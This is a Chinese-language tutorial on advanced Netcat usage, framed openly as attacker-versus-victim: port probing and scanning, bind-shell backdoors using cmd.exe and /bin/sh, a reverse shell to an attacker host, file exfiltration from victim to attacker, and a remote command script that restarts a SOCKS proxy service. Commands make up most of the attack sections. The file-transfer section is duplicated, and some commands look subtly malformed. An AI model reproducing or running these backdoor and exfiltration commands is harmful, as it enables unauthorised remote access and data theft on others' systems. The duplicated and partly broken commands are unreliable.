### NC的高级用法
Netcat（简称NC）是一款强大的网络工具，被广泛应用于网络调试、数据传输等场景。本文将详细介绍NC的一些高级用法，包括端口刺探、扫描器功能、创建后门以及更复杂的操作技巧。
#### 3.1 端口的刺探
端口刺探是指通过发送数据包来检查特定主机上的端口是否开放。NC提供了简单的方法来完成这项任务：
- **命令格式**:
```
nc -vv ip port
```
- **示例**:
```
nc -vv 192.168.0.198 19190
RIVER [192.168.0.198] 19190 (?) open
```
上述命令中的`-vv`表示详细模式，输出更多关于通信的信息。`192.168.0.198`为目标IP地址，`19190`为测试的目标端口号。“open”表示该端口是开放的。
#### 3.2 扫描器
NC还可以用于扫描多个端口，以检查它们的状态。这在进行网络安全审计时非常有用，但需要注意的是，频繁的扫描可能会引起目标系统的警觉。
- **命令格式**:
```
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
```
- **示例**:
```
nc -vv -w 5 192.168.0.198 1-1024
nc -vv -z 192.168.0.198 1-1024
```
这里`-w 5`表示等待时间，如果端口没有响应，则等待5秒后放弃尝试；`-z`表示只扫描不连接，这样可以减少被检测到的可能性。
#### 3.3 后门
NC可以用来建立后门，允许攻击者远程访问受害者机器。
- **受害者机器**:
- **Windows系统**:
```
nc -l -p port -e cmd.exe
```
此命令监听指定端口，并在收到连接请求时执行命令解释器。
- **Unix/Linux系统**:
```
nc -l -p port -e /bin/sh
```
类似于Windows，但这里执行的是Shell。
- **攻击者机器**:
- **连接命令**:
```
nc ip -p port
```
使用此命令连接到受害者的机器并获得一个交互式Shell。
#### 3.4 更多技巧
除了上述基本用法外，NC还有更多高级技巧，如数据转发和文件传输。
- **数据转发**:
攻击者机器上开启监听端口，受害者机器上发起连接：
```
attacker machine: // 开启监听端口
nc -vv -l -p port1
victim machine: // 发起连接
nc -e cmd.exe attacker_ip -p port1
```
可以实现从受害者机器到攻击者机器的数据转发。
- **文件传输**:
文件可以从受害者机器传送到攻击者机器或相反方向。
1. **从受害者机器传送文件到攻击者机器**:
```
attacker machine: // 监听端口
nc -d -l -p port > path\filedest
victim machine: // 发送文件
nc attacker_ip port < path\file.txt
```
2. **从攻击者机器传送文件到受害者机器**:
```
victim machine: // 接收文件
nc -vv -l -p port > path\file.txt
attacker machine: // 发送文件
nc victim_ip port < path\filedest
```
需要注意的是，在完成文件传输后，通常需要使用`Ctrl+C`中断连接。
#### 3.5 文件传输
NC还支持文件传输，包括从受害者机器到攻击者机器和从攻击者机器到受害者机器两种情况。
- **从受害者机器到攻击者机器**:
```
attacker machine:
nc -d -l -p port > path\filedest
victim machine:
nc attacker_ip port < path\file.txt
```
- **从攻击者机器到受害者机器**:
```
victim machine:
nc -vv -l -p port > path\file.txt
attacker machine:
nc victim_ip port < path\filedest
```
在传输过程中，可以通过发送`Ctrl+C`来终止连接。
#### 3.6 错误处理
NC能够记录错误信息，这对于调试非常有帮助。例如，当遇到错误时，可以通过输出到文件的方式来查看具体发生了什么问题。
- **命令示例**:
```
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
```
以上命令会尝试连接到指定的网站，并将错误信息保存到`test.txt`文件中。
#### 3.7 telnet和远程执行
除了作为网络调试工具之外，NC还可以充当简单的telnet客户端，用于远程执行命令。
- **命令示例**:
```
victim machine: // 执行远程命令
nc victim_ip port < path\file.cmd
```
其中`file.cmd`包含了一系列命令，如：
```
password
cd %windir%
echo[]=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
```
### 总结
通过上述介绍可以看出，NC不仅是一款强大的网络工具，还能在很多方面发挥重要作用。无论是进行网络安全测试还是进行数据传输，NC都是值得掌握的技能之一。当然，在实际使用过程中还需要注意遵循相关的法律法规，确保合法合规地使用这些技术手段。
